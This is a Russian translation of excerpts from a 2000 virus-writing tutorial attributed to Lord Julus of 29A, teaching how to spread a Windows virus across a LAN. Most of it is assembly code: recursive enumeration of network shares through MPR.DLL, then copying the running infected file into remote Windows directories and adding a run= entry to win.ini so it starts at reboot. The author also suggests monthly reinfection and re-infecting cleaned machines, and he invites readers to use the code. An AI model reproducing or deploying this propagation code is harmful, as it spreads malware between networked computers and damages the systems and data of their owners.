ZF

              Пособие по написанию сетевых вирусов
                        (фрагменты статьи)
                         Lord Julus, 2000

*************************** перевод by DrMAD **************************

  +--------------------------+
 ++                          ++
 |  Microsoft's LAN standard  |
 ++                          ++
  +--------------------------+

    Как и всегда,  мы сейчас говорим про Windows-вирусы,  да?  Ладно...
снова  Microsoft предоставила очень удобные средства, которые позволяют
нашему коду легко путешествовать в LAN. Давайте я снабжу вас некоторыми
деталями про то,  как Microsoft обращается к различным сервисам,  и как
это выглядит в Windows.

    Первым делом надо взглянуть на библиотеку MPR.

    Библиотека MPR это то, что вам нужно для возможности путешествовать
в  LAN.  Файл  называется  MPR.DLL  и  может быть обнаружен в системном
каталоге (SYSTEM или SYSTEM32).  Ваша  программа  должна  первым  делом
загрузить  эту  библиотеку и получить адреса требуемых инструкций перед
тем,  как пытаться получить доступ к LAN.  Тут  нет  ничего  особеного,
просто  воспользуйтесь  API-функцией LoadLibrary и загрузите ее так же,
как и любую другую.

    Давайте кратко рассмотрим интресующие нас API:

        WNetOpenEnumA
        WNetEnumResourceA
        WNetTCloseEnum

    Невероятно, да?  Только три API-функции,  и мы сможем при их помощи
все сделать?  Да,  вы увидите, что не так уж и сложно программировать с
их  помощью,  потому  что  вы   должны   использовать   реентерабельные
процедуры, которые сохраняют данные в стеке, вам необходимо захватывать
и освобождать память,  но  это  займет  всего-лишь  малую  часть  общей
работы.

    Сначала давайте  обсудим  структуру NETRESOURCEA,  которая является
базовой структурой, используемой при работе в сети:


        NETRESOURCEA STRUC
                     dwScope       DW ?
                     dwType        DW ?
                     dwDisplayType DW ?
                     dwUsage       DW ?
                     lpLocalName   DD ?
                     lpRemoteName  DD ?
                     lpComment     DD ?
                     lpProvider    DD ?
        NETRESOURCEA ENDS

        Здесь:

    dwScope - определяет,  какой вид  ресурса  мы  ищем;  это  значение
должно выбираться из следующих вариантов:

    RESOURCE_CONNECTED=00000001h - коммутируемый ресурс;
    RESOURCE_GLOBALNET=00000002h - ресурс глобальной сети;
    RESOURCE_REMEMBERED=00000003h - предварительно посещенный
                                    ресурс;

    dwType - определяет, какой тип ресурса мы ищем; это значение должно
выбираться из следующих вариантов:

    RESOURCETYPE_ANY=00000000 - любой;
    RESOURCETYPE_DISK=00000001 - диск/файл;
    RESOURCETYPE_PRINT=00000002 - принтер.

    dwUsage -   как   использовать  этот  ресурс?  Это  значение должно
выбираться из следующих вариантов:

    RESOURCEUSAGE_CONNECTABLE=00000001h - можно связаться;
    RESOURCEUSAGE_CONTAINER=00000002h -    содержит     другие
вхождения;
    RESOURCEUSAGE_RESERVED = 80000000h - ???.


    lpLocalName - указатель на строку,  которая содержит локальное  имя
сетевого устройства.

    lpRemoteName - указватель на строку, которая содержит удаленное имя
сетевого устройства.

    lpProvider and lpComment - полезные поля, которые содержат полезные
данные.

    ОК, эта  структура  очень важна для нас.  Как вы увидите,  мы будем
просматривать сеть так,  словно бы мы просматривали файлы на HDD и  эта
структура  даст  нам  всю  необходимую  информацию.  Чтобы это сделать,
во-первых мы должны открыть хэндл перечисления.  Это делается следующей
функцией:

        WNetOpenEnumA(
             IN DWORD          dwScope,
             IN DWORD          dwType,
             IN DWORD          dwUsage,
             IN LPNETRESOURCEA lpNetResource,
             OUT LPHANDLE      lphEnum
            );

    Итак, вы  должны  сказать  системе,  что искать,  какого типа и как
использовать  ресурс,  который  вы  ищете,  потом  вы  должны  передать
указатель на заполненную структуру RETRESOURCE, и вам вернется хэндл на
перечисление.  Обычно  далее  вы  сначала  используете  эту  структуру,
которая  начинается с NULL для lpNetResource,  что означает,  что даная
сеть должна быть просмотрена.  После того,  как вы  получаете  открытое
перечисление, вы должны последовательно перечислить ресурсы:

       WNetEnumResourceA(
            IN HANDLE      hEnum,
            IN OUT LPDWORD lpcCount,
            OUT LPVOID     lpBuffer,
            IN OUT LPDWORD lpBufferSize
           );


    hEnum - хэндл файла,  который был возвращен процедурой WNetOpenEnum

    lpcCount -   как  много  вхождений  вы  хотите  видеть?  Обычно  вы
указываете здесь очень большое число типа 0FFFFFFFFh,  и все  вхождения
будут рассмотрены.  Функция вернет в этом поле реальное число найденных
ресурсов.

    lpBuffer - это буфер,  который  будет  заполнен  массивом  структур
NETRESOURCE.   Вы   должны   быть   уверены,   что  имеется  достаточно
пространства  в  этом  буфере.  Структура  заполняется  в  произвольном
порядке.   Требуется  просмотреть  каждое  вхождение,  чтобы  полностью
просканировать сеть.

    lpBufferSize - размер буфера, принимающего данные.

    После того, как вы завершите просмотр ресурсов, которые принадлежат
определенному перечислению, вы должны закрыть хэндл перечисления:

        WNetCloseEnum(
            IN HANDLE   hEnum
            );


    ОК, это  был  маленький  обзор  API-функций,   которые   мы   можем
использовать. Давайте пойдем дальше и рассмотрим небольшой код, который
позволит вам лучше разобраться, как это все устроено.

  +------+
 ++      ++
 |  Code  |
 ++      ++
  +------+

    Прежде всего,  я надеюсь, что все вы знакомы с концепцией локальных
меток.  Эта  концепция  широко  используется  во  всех  высокоуровневых
языках,  и это означает, что вы можете иметь переменные, которые держат
свои  значения  в  стеке,  и  каждый  раз  при  вызове  этой  процедуры
захватывается новое пространство в стеке для содержания переменных. Вот
почему  можно  вызывать  процедуры  рекурсивно  (т.е.,  когда процедура
вызывает саму себя) без потери значений переменных,  ведь они сохранены
в  стеке  и  стек просто перемещается вверх и вниз при вызове процедуры
или возврате из нее.  Один из очень важных фактов состоит в том, что вы
описываете  такую  процедуру  обычным  образом,  что  более  или  менее
напоминает следующий код:


        MyProc proc C var1:DWORD, var2:DWORD
        local v1:DWORD
        local v2:DWORD

        mov eax, var2
        mov edx, v1
        ret
        MyProc Endp

    После компиляции это выглядит примерно так:

        enter 0008, 00
        mov eax, [ebp+0ch]
        mov edx, [ebp-04h]
        leave
        ret

    А стек перед выходом содержит следующее:

        var2                        = EBP + 0ch
        var1                        = EBP + 08
        <адрес возврата>            = EBP + 04h
EBP =   <сохраненный ebp>           = EBP + 00h
        v1                          = EBP - 02h
ESP =   v2                          = EBP - 04h

    Итак, как  можно видеть,  вы не можете использовать EBP для работы,
потому что компилятор автоматически генерирует инструкции,  котрые сами
используют  EBP  для  других целей.  Поэтому вы должны использовать для
хранения хэндла другой  регистр,  но  не  EBP.  Также,  не  используйте
локальные переменные для хранения хэндла,  например, если он хранится в
ESI, не поступайте так:

        mov edx, [esi+v1]

    Это ошибка!  Переменная "v1" располагается  в  стеке  и  существует
временно!

    ОК, про   это   мы   расказали,   двайте   опишем   нашу  процедуру
инфицирования сети. Основное, что мы сделаем, это создадим перечисление
для   корня  сети,  а  потом  для  каждого  ресурса,  который  является
контейнером,  мы будем открывать другое перечисление и так до тех  пор,
пока  не обойдем все вхождения.  Для каждого ресурса,  который является
диском, мы попытаемся получить его имя и инфицировать его:

 NetInfection proc C lpnr:DWORD   ;
 local lpnrLocal :DWORD           ;
 local hEnum     :DWORD           ;
 local ceEntries :DWORD           ;
 local cbBuffer  :DWORD           ;

    Здесь:
    lpnr = адрес сетевого перечисления при входе;
    lpnrLocal = адрес перечисления, передаваемого как параметр;
    hEnum = хэндл перечисления;
    ceEntries = количество вхождений в перечислении;
    cbBuffer = буфер данных для перечисления.

    Теперь поместим временный хэндл в регистр EDX:

       pusha                         ; сохраняем все регристры
       call get_new_delta            ; берем хэндл
get_new_delta:                       ;
       pop edx                       ;
       sub edx, offset get_new_delta ;

    А теперь   давайте   инициализируем  наши  локальные  переменные  и
попытаемся открыть перечисление:

       mov [ceEntries], 0FFFFFFFFh ; как много вхождений
       mov [cbBuffer], 4000        ; размер буфера
       lea eax, [hEnum]            ; хэндл перечисления
       mov esi, [lpnr]             ; параметр
       call [edx+_WNetOpenEnumA],\ ;    API-функция
            RESOURCE_CONNECTED,\   ; коммутируемый ресурс
            RESOURCETYPE_ANY, 0,\  ; любой тип ресурсов
            esi,\                  ; куда пойдет
            eax                    ; куда пойдет хэндл
                                   ;
       or eax, eax                 ; ошибка?
       jnz exit_net                ;

    Если мы  попали  сюда,  значит успешно открыли перечисление сетевых
ресурсов.  Теперь нам нужна память для получения данных,  поэтому мы ее
немножко захватим. Думаю, 4000 байтов будет достаточно:

       call [edx+_GlobalAlloc], GPTR, cbBuffer ; захватить
       or eax, eax           ;
       jz exit_net           ;
       mov [lpnrLocal], eax  ; сохранить хэндл блока памяти

    Теперь мы  имеем  хэндл  перечисления  и   доступную   память   для
заполнения данными... Все, что осталось, это перечислить ресурсы:

enumerate:                           ;
       lea eax, cbBuffer             ; перечисляем все
       push eax                      ;  ресурсы
       mov esi, [lpnrLocal]          ; где наша память?
       push esi                      ;
       lea eax, ceEntries            ; сколько вхождений?
       push eax                      ;
       push hEnum                    ; хэндл перечисления
       call [edx+_WNetEnumResourceA] ;
                                     ;
       or eax, eax                   ; ошибка?
       jnz free_mem                  ;

    ОК, если мы досюда дошли,  это  означает,  что  перечисление  также
успешно.  Количество вхождений в этом дереве ресурсов помещается в нашу
локальную переменную ceEntries.  Все,  что нам надо,  это поместить это
использовать его в качестве счетчика цикла:

       mov ecx, [ceEntries]              ; как много вхождений?
       or ecx, ecx                       ;
       jz enumerate                      ;
                                         ;
roam_net:                                ;
       push ecx esi                      ; сохранить их...
                                         ;
       mov eax, [esi.dwType]             ; это дисковый ресурс?
       test eax, RESOURCETYPE_DISK       ;
       jz get_next_entry                 ; нет - пропустить
                                         ; (это м.б. принтер)
                                         ;
       mov edi, [esi.lpRemoteName]       ; взять удаленное имя
       mov esi, [esi.lpLocalName]        ; взять локальное имя
       or esi, esi                       ; пусто?
       jz no_good_name                   ;
                                         ;
       cmp word ptr [esi],0041           ; это дискета?
       jz no_good_name                   ; ("A")
                                         ;
       call RemoteInfection              ; попытаться заразить
                                         ;
no_good_name:                            ;
       pop esi                           ;
                                         ;
       mov eax, [esi.dwUsage]            ; у нас есть контейнер?
       test eax, RESOURCEUSAGE_CONTAINER ;
       jz get_next_entry                 ;


    Теперь, если у нас есть контейнер,  это означает,  что внутри могут
находиться  ресурсы,  так  что  мы  можем  рекурсивоно   вызывать   эту
процедуру,  помещая в стек регистр ESI, который содержит адрес  ресурса
в памяти:

       push esi                          ;
       call NetInfection                 ; рекурсия!


    Далее, когда нет других ветвей деревьев для конкретного ресурса, мы
просто  продолжаем  смотреть на оставшуюся часть ресурса.  Для этого мы
увеличиваем ESI на 20h,  что является  размером  сетевой  структуры,  и
зациклимся:

get_next_entry:                       ;
       add esi, 20h                   ; следующий ресурс!
       pop ecx                        ;
       loop roam_net                  ;
                                      ;
       jmp enumerate                  ; следующее перечисление

    Конечно, после окончания мы захватим очень много памяти, так что мы
должны  прежде  всего  освободить  всю  захваченную  память,  и  должны
закрыть перечисление и вернуться из процедуры:

free_mem:                                  ;
       call [edx+_GlobalFree], [lpnrLocal] ; освободить память
       call [edx+_WNetCloseEnum], [hEnum]  ; закрыть перечисл.
                                           ;
exit_net:                                  ;
       popa                                ;
       ret                                 ;
NetInfection endp                          ;

    Вы видели, что выше я выполнил несколько проверок: допустимо ли имя
удаленного ресурса,  или это дискета,  только  в  противном  случае  мы
вызываем  нашу процедуру Remote Infection.  Обращаю ваше внимание:  ESI
содержит имя удаленного компьютера. Что еще вам надо? Я дам вам один из
множества  путей,  которым  вы  можете воспользоваться,  он проверен на
многих вирусах и вроде бы работает. Главная идея заключается в том, что
если  вы  присоединились  к  другому компьютеру с Windows-ом, на нем по
крайней мере существует каталог с самим Windows-ом.  А в этом  каталоге
живет  старый добрый WIN.INI,  оставленный для совместимости со старыми
версиями.  Разумеется,  мы знаем,  что почти все такие  каталоги  носят
имена  Windows,  Win98,  WinNT  или  что-то вроде этого.  Все,  что вам
остается сделать, это взять Windows-овский каталог на локальной рабочей
станции и иметь в виду,  что пока компьютеры связаны через сеть,  имена
будут оставаться теми же самыми. Метод тестирования различных каталогов
прост  (использован Gryio в вирусе Cholera).  Все,  что вам нужно - это
сгенерировать строчки вида:

        <remote name>\Windows\win.ini
        <remote name>\WinNT\win.ini
        <remote name>\Win95\win.ini
        <remote name>\Win98\win.ini

    И проверять,  успешно  ли  открылся файл WIN.INI.  Если да,  то это
означает, что вы нашли его!

    Следующий шаг - скопировать выполняющийся в  настоящее  время  файл
через  сеть  в  каталог  Windows.  Это  очень  легко сделать при помощи
CopyFileA.  После этого вам необходимо создать строчку в файле  win.ini
типа:

        [Windows] (или как там еще этот каталог зовут)
        run=c:\windows\file.exe

    А файл file.exe будет носителем  заразы  на  локальном  компьютере,
только  под  другим  именем.  При  следующей  перезагрузке файл win.ini
запустит программу file.exe,  и  это  будет  означать:  данный  каталог
Windows  будет  заражен.  Для пользователя это будет выглядеть странно,
что некоторые  программы  автоматически  стартуют  после  перезагрузки,
но... но они ничего не смогут с этим поделать. Поэтому ваш вирус должен
быть  снабжен  какой-нибудь  крутой  фишкой  (какие  придумываются  под
Раммштейн). Каждый носитель заразы должен проверять содержимое каталога
Windows,  и если он найдет файл file.exe,  но не найдет соответствующей
строчки  в  win.ini,  или  если  есть строчка,  но нет файла,  то нужно
удалить и файл, и строчку, и это будет означать облом.

    Другая интересная идея заключается в том,  что  вы  можете  сделать
это,  поместив  в  реестр  локального  компьютера  все удаленные пути к
инифицированному  компьютеру  и  повторно  заражать   его   ежемесячно,
например.  Вообще-то,  сеть  начнет  сильно  тормозить,  когда  рабочие
станции инфицированы и они пытаются друг друга  регулярно  инфицировать
повторно.  В  этом  случае  можно  прервать  процесс  инфицирования  до
следующего месяца и потом опять зафлудить.  Если  какая-нибудь  станция
будет очищена, то будет инфицирована вновь.

    Ну а  теперь  пошагово  рассмотрим,  как выполнить то,  что я здесь
объяснил:

    Во-впервых, мы сохраним все регистры,  и мы должны  получить  назад
хэндл  в  регистре  EBP,  потому что в этой процедуре мы в любом случае
похерим все регистры:

                             ;
RemoteInfection proc         ;
       pusha                 ;
       call @___1            ; восстанавливает хэндл
@___1:                       ;
       pop ebp               ;
       sub ebp, offset @___1 ;


    Далее ннам  надо  взять  имя работающего файла (он инфицирован),  и
послать его копию через сеть:

       push 260                       ;
       lea eax, [ebp+myname]          ; имя текущего файла
       push eax                       ;
       push 0                         ;
       call [ebp+_GetModuleFileNameA] ;
       or eax, eax                    ;
       jz cannot_roam                 ;

    Теперь переберем все различные имена каталогв  Windows  и  создадим
имя дроппера и имя файла win.ini.

       lea esi, [ebp+windirs]        ; указываем на очередное имя
                                     ;
test_paths:                          ;
       lea ebx, [ebp+droppername]    ; копируем путь к дропперу
       call [ebp+_lstrcpy], ebx, edi ;
       lea ebx, [ebp+winininame]     ; копируем путь к win.ini
       call [ebp+_lstrcpy], ebx, edi ;
                                     ;
       lea ebx, [ebp+droppername]    ; копируем каталог windows
       call [ebp+_lstrcat], ebx, esi ;
       lea eax, [ebp+drop]           ; и имя дроппера
       call [ebp+_lstrcat], ebx, eax ;

    Давайте предположим,  что  каталог  Windows  на  обоих  компьютерах
называется "C:\Windows", а выполняемый файл CALC.EXE. Тогда получим:

        droppername = "C:\Windows\file.exe"
        winininame  = "C:\Windows\win.ini"
        myname      = "C:\Windows\calc.exe"

        Теперь скопируем свой файл в дроппер:
                                     ;
       push TRUE                     ; теперь копируем себя
       push ebx                      ; через LAN под новым
       lea eax, [ebp+myname]         ; именем в удаленный
       push eax                      ; каталог windows
       call [ebp+_CopyFileA]         ;
       or eax, eax                   ;
       jz test_next                  ;

    Осталось создать строчку в файле win.ini, что будет означать запуск
файла file.exe при следующей перезагрузке:

       lea ebx, [ebp+winininame]     ; скопировать имя каталога windows
       call [ebp+_lstrcat], ebx, esi ; в тропу к win.ini
       lea eax, [ebp+winini]         ;
       call [ebp+_lstrcat], ebx, eax ; и имя
                                     ;
       lea eax, [ebp+winininame]     ; Теперь создадим строчку
       push eax                      ; в файле win.ini:
       lea eax, [ebp+droppername]    ;
       push eax                      ; [Windows]
       lea eax, [ebp+cmd]            ; run=c:\windows\ramm.exe
       push eax
       inc esi
       push esi
       call [ebp+_WritePrivateProfileStringA]
       jmp cannot_roam

    Конечно, если  каталог  "Windows"  плохой,  наша  процедура  должна
продолжить поиск среди других вариантов имен:

test_next:                     ;
       @endsz                  ; проверить другой вариант
       cmp byte ptr [esi], 0fh ; каталога windows!
       jne test_paths          ;
                               ;
cannot_roam:                   ;
       popa                    ;
       ret                     ;

    Также взгляните на определение наших переменных:

windirs db "\Windows", 0       ;
        db "\WinNT"  , 0       ;
        db "\Win"    , 0       ;
        db "\Win95"  , 0       ;
        db "\Win98"  , 0       ;
        db 0fh                 ;
                               ;
winini  db "\Win.ini" , 0      ;
drop    db "\file.exe", 0      ;
cmd     db "run"      , 0      ;
                               ;
myname      db 260 dup(0)      ;
droppername db 260 dup(0)      ;
winininame  db 260 dup(0)      ;
RemoteInfection endp           ;

    И все на этом!!!  Это просто невероятно,  насколько короток код,  и
как  много он может сделать.  Конечно,  для достижения успеха вы должны
комбиниовать  вышеописанную  процедуру  с  патчингом  и  хакингом.  Это
необходимо,  поскольку  в  той сырой форме,  которую я представил,  код
обломится,  если доступ к сети защищен паролем, или если ресурсы просто
не зашарены. Вам придется патчить некоторые файлы, чтобы получить права
админа, но это не то, о чем я бы хотел рассказать в этой статье.

    Я надеюсь,  что все понятно,  и я ожидаю, что вы напишете мне, если
используете  это  или придумаете более мощные,  интересные пути,  более
удобные...    Я    жду     ваших     писем     по     моему     адресу:
lordjulus@geocities.com...

                                +----------------------------+
                                |   Lord Julus / 29A (2000)  |
                                +============================+


(C) NF, 1998-2004